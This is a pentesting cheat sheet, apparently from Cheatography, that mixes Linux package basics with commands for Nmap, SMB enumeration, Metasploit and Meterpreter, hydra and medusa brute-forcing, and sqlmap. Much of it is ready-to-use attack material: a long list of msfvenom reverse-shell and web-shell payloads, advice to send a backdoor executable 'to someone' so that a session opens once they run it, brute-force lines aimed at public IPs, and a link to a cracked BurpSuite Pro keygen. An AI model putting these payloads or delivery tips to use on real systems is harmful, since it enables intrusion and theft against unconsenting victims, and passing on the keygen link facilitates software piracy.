linux basics and easy pentesting tutorials

How to update/upgrade Linux:
What does APT do?
APT (Advanced Packaging Tool) is a set of core tools found inside the Debian operating system. It provides utilities for the installation and removal of software packages and dependencies on a system.
apt is a subset of apt-get and apt-cache commands providing necessary commands for package management.
while apt-get won't be deprecated, as a regular user, you should start using apt more often.
sudo apt install
Installs a package
sudo apt remove
Removes a package
sudo apt purge
Removes package with configuration
sudo apt update
Refreshes repository index
sudo apt upgrade
Upgrades all upgradable packages
sudo apt autoremove
Removes unwanted packages
sudo apt full-upgrade
Upgrades packages with auto-handling of dependencies
sudo apt search
Searches for a program
sudo apt show
Shows package details
sudo apt list
Lists packages with criteria (installed, upgradable etc)
sudo apt edit-sources
edits sources list
sudo apt clean
The clean command clears out the local repository of downloaded package files. It removes everything except the partials folder and lock file from /var/cache/apt/archives/. Use apt clean to free up disk space when necessary, or as part of regularly scheduled maintenance.
sudo apt autoclean
autoclean is another method used to clear out the local repository of downloaded package files, just like clean. The difference between clean and autoclean is that the latter only removes package files that can no longer be downloaded from their sources, and are very likely to be useless.
sudo apt update && sudo apt upgrade -y && sudo apt full-upgrade -y && sudo apt autoremove -y
==========
First things to do after installing Linux:
1. Download and Install Latest Updates

By **Malware.py**
(malwaredotpy)

cheatography.com/malwaredotpy/

Published 6th July, 2022.
Last updated 6th July, 2022.

linux basics and easy pentesting tutorials (cont)

sudo apt update && sudo apt upgrade
2. Install GNOME Tweak Tool
sudo apt install gnome-tweak-tool
3. Install Git
sudo apt install git
4. Install PIP
sudo apt install python3-pip
5. Install GNOME Extensions
Just go to https://extensions.gnome.org/ to download and install your preferred extensions.
6. Play with Different Desktop Environment
To try MATE, run following command in Terminal.
sudo apt install Ubuntu-mate-desktop
To try Cinnamon, run following command in Terminal.
sudo apt-get install cinnamon-desktop-environment
To try KDE, run following command in Terminal.
sudo apt-get install kde-standard
==========
How to install a dpkg:
dpkg is a tool for installing, removing, and querying individual packages.
dpkg -i ~/Downloads/file.deb
==========
How to fix HTB openvpn connection issue:
vim /etc/sysctl.conf
Set following to 0:
net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0
==========
Virtual Machine Network Types:
Bridge mode:
This connects the virtual network adapter directly to the physical network
NAT:
This allows the virtual network adapter to share the host's IP address
Host Only:
This creates a private network that the virtual network adapter shares with the host
Custom:

linux basics and easy pentesting tutorials (cont)

This allows you to create your own virtual network

==========

Free BurpSuite Pro installation:

https://ftuapps.dev/burp-suite-professional-edition-v2-0-11-full-all-addons-keygen/

1. Download and Extract

2. Run 'BurpSuite Loader & Keygen'

3. Press 'run' in upper right hand corner and Burpsuite will load

==========

==========

How to uncompress with tar:

-x = extract

-z = gzipped archive

-f = get from a file (must be the last command)

'sudo tar -xzf utorrent-server-3.0-ubuntu-10.10-27079.tar.gz'

==========

Routersploit:

Install:

sudo apt-get install python-dev python-pip libncurses5-dev git

git clone https://github.com/reverse-shell/routersploit

cd routersploit

pip install -r requirements.txt

./rsf.py

1. Exploits, Pick the module(Press Tab Twice to Complete Module):

exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/

rsf > use exploits/dlink/dir_300_600_rce

2. Creds:

Modules located under creds/ directory allow running dictionary attacks against various network services.

Following services are currently supported:

ftp

ssh

telnet

http basic auth

http form auth

snmp

rsf > use creds/

creds/ftp_bruteforce creds/http_basic_bruteforce creds/http_form_bruteforce creds/snmp_bruteforce creds/ssh_default creds/telnet_default

linux basics and easy pentesting tutorials (cont)

creds/ftp_default creds/http_basic_default creds/http_form_default creds/ssh_bruteforce creds/telnet_bruteforce
rsf > use creds/ssh_default
rsf (SSH Default Creds) >
==========
CrackMapExec
CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve it's functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.
CME makes heavy use of the Impacket library (developed by @asolino) and the PowerSploit Toolkit (developed by @mattifestation) for working with network protocols and performing a variety of post-exploitation techniques.
Although meant to be used primarily for offensive purposes (e.g. red teams), CME can be used by blue teams as well to assess account privileges, find possible misconfigurations and simulate attack scenarios.
"crackmapexec smb <IP>"
"crackmapexec smb <IP> --pass-pol
enumerates password policy
"crackmapexec smb <IP> --shares -u <random name> -p <random name>
==========
SmbClient:
smbclient is a client that can 'talk' to an SMB/CIFS server. It offers an interface similar to that of the ftp program. Operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.
smbclient -L //<IP>
enumerate shares(users) on a server
smbclient //<IP>/<shares>
Mount to host OS instead of using smbclient:
sudo mkdir /mnt/user
sudo mount -t cifs //<IP>/<shares> /mnt/<share>
sudo mount -t //10.10.10.178/Data /mnt/Data
find . -ls -type f
shows files
==========
SmbMap:
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
"smbmap -H <IP>"
==========
Nmap:
Top 13 Nmap command examples:
1. Basic Nmap Scan against IP or host
"nmap 1.1.1.1"

linux basics and easy pentesting tutorials (cont)

Now, if you want to scan a hostname, simply replace the IP for the host:
"nmap cloudflare.com"
These kinds of basic scans are perfect for your first steps when starting with Nmap.
2. Scan specific ports or scan entire port ranges on a local or remote server
nmap -p 1-65535 localhost
Nmap is able to scan all possible ports, but you can also scan specific ports, which will report faster results. See below:
nmap -p 80,443 8.8.8.8
3. Scan multiple IP addresses
nmap 1.1.1.1 8.8.8.8
You can also scan consecutive IP addresses:
nmap -p 1.1.1.1,2,3,4
This will scan 1.1.1.1, 1.1.1.2, 1.1.1.3 and 1.1.1.4.
4. Scan IP ranges
nmap -p 8.8.8.0/28
This will scan 14 consecutive IP ranges, from 8.8.8.1 to 8.8.8.14.
An alternative is to simply use this kind of range:
nmap 8.8.8.1-14
You can even use wildcards to scan the entire C class IP range, for example:
nmap 8.8.8.*
This will scan 256 IP addresses from 8.8.8.1 to 8.8.8.256.
If you ever need to exclude certain IPs from the IP range scan, you can use the “–exclude” option, as you see below:
nmap -p 8.8.8.* --exclude 8.8.8.1
5. Scan the most popular ports
Using “–top-ports” parameter along with a specific number lets you scan the top X most common ports for that host.
"nmap --top-ports 20 192.168.1.106"
Replace “20” with the desired number.
6. Scan hosts and IP addresses reading from a text file:
Let’s suppose you create a list.txt file that contains these lines inside:
192.168.1.106
cloudflare.com
microsoft.com
securitytrails.com
The “-iL” parameter lets you read from that file, and scan all those hosts for you:
"nmap -iL list.txt"
7. Save your Nmap scan results to a file
"nmap -oN output.txt securitytrails.com"

linux basics and easy pentesting tutorials (cont)

8. Disabling DNS name resolution
If you need to speed up your scans a little bit, you can always choose to disable reverse DNS resolution for all your scans. Just add the “-n” parameter.
"nmap -p 80 -n 8.8.8.8"
9. Scan + OS and service detection with fast execution:
Using the “-A” parameter enables you to perform OS and service detection, and at the same time we are combining this with “-T4” for faster execution.
"nmap -A -T4 cloudflare.com"
10. Detect service/daemon versions:
This can be done by using -sV parameters
"nmap -sV localhost"
11. CVE detection using Nmap:
One of Nmap’s greatest features. If you want to run a full vulnerability test against your target, you can use these parameters:
"nmap -Pn --script vuln 192.168.1.105"
12: FTP brute force attack:
"nmap --script ftp-brute -p 21 192.168.1.105"
13: Scan for MySQL on port 3306
"nmap 10.10.10.50 -p 3306"
==========
How to look up IP Address for a website:
nslookup www.whateversite.com
==========
How to pull a file using Burpsuite:
in a Repeater tab, at the bottom of the request header type:
'url=file:///etc/passwd'
==========
#Gobuster:
Common Command line options
-fw – force processing of a domain with wildcard results.
-np – hide the progress output.
-m – which mode to use, either dir or dns (default: dir).
-q – disables banner/underline output.
-t
– number of threads to run (default: 10).
-u – full URL (including scheme), or base domain name.
-v – verbose output (show all results).
-w – path to the wordlist used for brute forcing (use – for stdin).
Command line options for dns mode

linux basics and easy pentesting tutorials (cont)

-cn – show CNAME records (cannot be used with '-i' option).
-i – show all IP addresses for the result.
Command line options for dir mode
-a <user agent string> – specify a user agent string to send in the request header.
-c <http cookies> – use this to specify any cookies that you might need (simulating auth).
-e – specify extended mode that renders the full URL.
-f – append / for directory brute forces.
-k – Skip verification of SSL certificates.
-l – show the length of the response.
-n – "no status" mode, disables the output of the result's status code.
-o <file> – specify a file name to write the output to.
-p <proxy url> – specify a proxy to use for all requests (scheme much match the URL scheme).
-r – follow redirects.
-s <status codes> – comma-separated set of the list of status codes to be deemed a "positive" (default: 200,204,301,302,307).
-x <extensions> – list of extensions to check for, if any.
-P <password> – HTTP Authorization password (Basic Auth only, prompted if missing).
-U <username> – HTTP Authorization username (Basic Auth only).
-to <timeout> – HTTP timeout. Examples: 10s, 100ms, 1m (default: 10s).
"gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.10.10.84"
gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million.txt -u http://forwardslash.htb
==========
Nikto:
It enables you to get insights about the host IP address, operating system detection and other network security details that are important during penetration testing.
perl nikto.pl -host 209.17.116.7 -useragent bob
==========
#Wfuzz:
Wfuzz can be used to look for hidden content, such as files and directories, within a web server, allowing to find further attack vectors. It is worth noting that, the success of this task depends highly on the dictionaries used.
Wfuzz looking for common directories:
"wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ"
Wfuzz looking for common files:
"wfuzz -w wordlist/general/common.txt <site>/FUZZ.php"
You often want to fuzz some sort of data in the URL's query string, this can be achieved by specifying the FUZZ keyword in the URL after a question mark:
"wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ"
==========
Setting up Metasploit:
systemctl start postgresql

linux basics and easy pentesting tutorials (cont)

msfdb init
db_status
Metasploit Pro:
https://localhost:3790/
==========
==========
Meterpreter Commands:
Core Commands
==========
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session

linux basics and easy pentesting tutorials (cont)

sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
==========
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
==========
Command Description
------- -----------

linux basics and easy pentesting tutorials (cont)

arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: User interface Commands
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: System Commands
==========
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as

linux basics and easy pentesting tutorials (cont)

kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: Webcam Commands
==========
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
==========
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
==========
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
==========
Command Description
------- -----------

linux basics and easy pentesting tutorials (cont)

hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
==========
Command Description
------- -----------
timestomp Manipulate file MACE attributes
Creating an executable backdoor with Metasploit:
"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.141 LPORT=4444 -f exe -o payload.exe"
The backdoor.exe file is saved in the path where you executed the command. Upload this file to GitHub or send it to someone, once they open it, your meterpreter session will start
LHOST= Your IP
RHOST= Target IP
List payloads:
"msfvenom -l"
Linux Meterpreter Reverse Shell:
"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf"
Linux Bind Meterpreter Shell:
"msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf"
Linux Bind Shell:
"msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf"
Windows Meterpreter Reverse TCP Shell:
"msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe"
Windows Reverse TCP Shell:
"msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe"
Windows Encoded Meterpreter Windows Reverse Shell:
"msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe"
Mac Reverse Shell:
"msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f macho > shell.macho"
Mac Bind Shell:
"msfvenom -p osx/x86/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f macho > bind.macho"
Web Payloads:
PHP Meterpreter Reverse TCP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP Meterpreter Reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f asp > shell.asp
JSP Java Meterpreter Reverse TCP

linux basics and easy pentesting tutorials (cont)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war
Scripting Payloads
Python Reverse Shell
msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.py
Bash Unix Reverse Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
Perl Unix Reverse shell
msfvenom -p cmd/unix/reverse_perl LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.pl
Shellcode
Windows Meterpreter Reverse TCP Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
Linux Meterpreter Reverse TCP Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
Mac Reverse TCP Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
Create User
msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
Metasploit Handler:
use exploit/multi/handler
set PAYLOAD <Payload name>
Set RHOST <Remote IP>
set LHOST <Local IP>
set LPORT <Local Port>
Run
msf> use multi/handler
msf exploit(handler) > set RHOST <remote IP>
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST <Listening_IP>
msf exploit(handler) > set LPORT <Listening_Port>
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.75.35:4444
[*] Starting the payload handler…
SSH User Enumeration in Metasploit:
AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS

linux basics and easy pentesting tutorials (cont)

>set RHOSTS <target>
>set USERNAME admin
>run
==========
Netcat:
Basic Chat Server:
On Your first machine type:
"nc -l 2222"
This will simply listen on port 2222 for any incoming data. On another machine run:
"nc 192.168.0.31 2222"
Next, type anything at all such e.g. "hello world!" and you'll see it echo'd on the listener's shell. Any text entered into either of the shells ends up being displayed on the other machine also.
File transfer - from the server side (listener):
we'll transfer a file from one box (the server) to another box (the client). So as soon as the server receives a connection, the file gets transferred.
On the machine where the file exists run the following command:
"nc -l 2222 < filename >"
On the box where you'd like to receive the file, run:
"nc 192.168.0.31 2222 > any_file_name"
Note that if you don't point the data to any_filename, the data will just be displayed in the shell at the receiving end. Also, obviously the receiving file any_file_name can be any file name (but is normally the same as the original).
If you wanted to append the contents of filename to an already existing any_filename, you could use this instead:
"nc 192.168.0.31 2222 >> any_file_name"
Note the '>>' rather than just a single '>' (the '>>' appends while the > replaces).
File transfer - from the client side
To transfer a file in the opposite direction use:
"nc -l 2222 > file_copy"
On the client side (sender in this case) use:
"cat file_to_send | nc 192.168.0.31 2222"
To keep the listening open for further data, use the the -k option:
"nc -lk 2222 >> file"
==========
Python server for when you want to transfer a file
sudo python3 -m http.server 80
==========
Crunch Wordlist:
crunch 4 4 012345abcdef -o Documents/pass.txt
==========
Hydra:
Install hydra with the following commands:

linux basics and easy pentesting tutorials (cont)

$ git clone https://github.com/vanhauser-thc/thc-hydra.git
$ cd thc-hydra/
$ ./configure
$ make
$ make install
hydra -l admin -P /home/kali/htb/nineveh/10k 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64
hydra -l root -p admin 69.167.51.201 -t 4 ssh
hydra -l root -P /usr/share/wordlists/metasploit/piata_ssh_userpass.txt 69.167.51.201 -t 4
==========

Medusa:
"medusa -h 192.168.1.1 -u "admin" -P hugewordlist.txt -M http"
-h [TARGET]
Target hostname or IP address.
-H [FILE]
Reads target specifications from the file specified rather than from the command line. The file should contain a list separated by newlines.
-u [TARGET]
Target username.
-U [FILE]
Reads target usernames from the file specified rather than from the command line. The file should contain a list separated by newlines.
-p [TARGET]
Target password.
-P [FILE]
Reads target passwords from the file specified rather than from the command line. The file should contain a list separated by newlines.
-C [FILE]
File containing combo entries. Combo files are colon separated and in the following format: host:user:password. If any of the three fields are left empty, the respective information should be provided either as a single global value or as a list in a file.
-O [FILE]
File to append log information to. Medusa will log all accounts credentials found to be valid or cause an unknown error. It will also log the start and stop times of an audit, along with the calling parameters.
-e [n/s/ns]
Additional password checks ([n] No Password, [s] Password = Username). If both options are being used, they should be specified together ("-e ns"). If only a single option is being called use either "-e n" or "-e s".
-M [TEXT]
Name of the module to execute (without the .mod extension).
-m [TEXT]
Parameter to pass to the module. This can be passed multiple times with a different parameter each time and they will all be sent to the module (i.e. -m Param1 -m Param2, etc.)
-d
Dump all known modules.
-n [NUM]

linux basics and easy pentesting tutorials (cont)

Use for non-default TCP port number.
-s
Enable SSL.
-g [NUM]
Give up after trying to connect for NUM seconds (default 3).
-r [NUM]
Sleep NUM seconds between retry attempts (default 3).
-R [NUM]
Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-t [NUM]
Total number of logins to be tested concurrently. It should be noted that rougly t x T threads could be running at any one time. 381 appears to be the limit on my fairly boring Gentoo Linux host.
-T [NUM]
Total number of hosts to be tested concurrently.
-L
Parallelize logins using one username per thread. The default is to process the entire username before proceeding.
-f
Stop scanning host after first valid username/password found.
-F
Stop audit after first valid username/password found on any host.
-b
Suppress startup banner
-q
Display module's usage information. This should be used in conjunction with the "-M" option. For example, "medusa -M smbnt -q".
-v [NUM]
Verbose level [0 - 6 (more)]. All messages at or below the specified level will be displayed. The default level is 5.
-w [NUM]
Error debug level [0 - 10 (more)]. All messages at or below the specified level will be displayed. The default level is 5.
-V
Display version
Available Medusa Modules:
afp.mod : Brute force module for AFP sessions
cvs.mod : Brute force module for CVS sessions
ftp.mod : Brute force module for FTP/FTPS sessions
http.mod : Brute force module for HTTP
imap.mod : Brute force module for IMAP sessions
mssql.mod : Brute force module for MSSQL sessions

linux basics and easy pentesting tutorials (cont)

mysql.mod : Brute force module for MySQL sessions
nntp.mod : Brute force module for NNTP sessions
pcanywhere.mod : Brute force module for PcAnywhere sessions
pop3.mod : Brute force module for POP3 sessions
postgres.mod : Brute force module for PostgreSQL sessions
rdp.mod : Brute force module for RDP (Microsoft Terminal Server) sessions
rexec.mod : Brute force module for REXEC sessions
rlogin.mod : Brute force module for RLOGIN sessions
rsh.mod : Brute force module for RSH sessions
smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions
smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO)
smtp.mod : Brute force module for SMTP Authentication with TLS
snmp.mod : Brute force module for SNMP Community Strings
ssh.mod : Brute force module for SSH v2 sessions
svn.mod : Brute force module for Subversion sessions
telnet.mod : Brute force module for telnet sessions
vmauthd.mod : Brute force module for the VMware Authentication Daemon
vnc.mod : Brute force module for VNC sessions
web-form.mod : Brute force module for web form
wrapper.mod : Generic Wrapper Module
==========
SQLmap:
sqlmap -r search.req --batch --force-ssl
sqlmap -r login.req --batch --force-ssl461
-'search.req = info from search bar results using BurpSuite Repeater using 'Copy to File'
-'login.req = info from login screen using results from BurpSuite Repeater using 'Copy to File'
==========
How to set a WiFi adapter in Monitor Mode:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
or
airmon-ng check kill
airmon-ng start wlan0
==========

I'm not responsible for anything you do

By **Malware.py**
(malwaredotpy)

cheatography.com/malwaredotpy/

Published 6th July, 2022.
Last updated 6th July, 2022.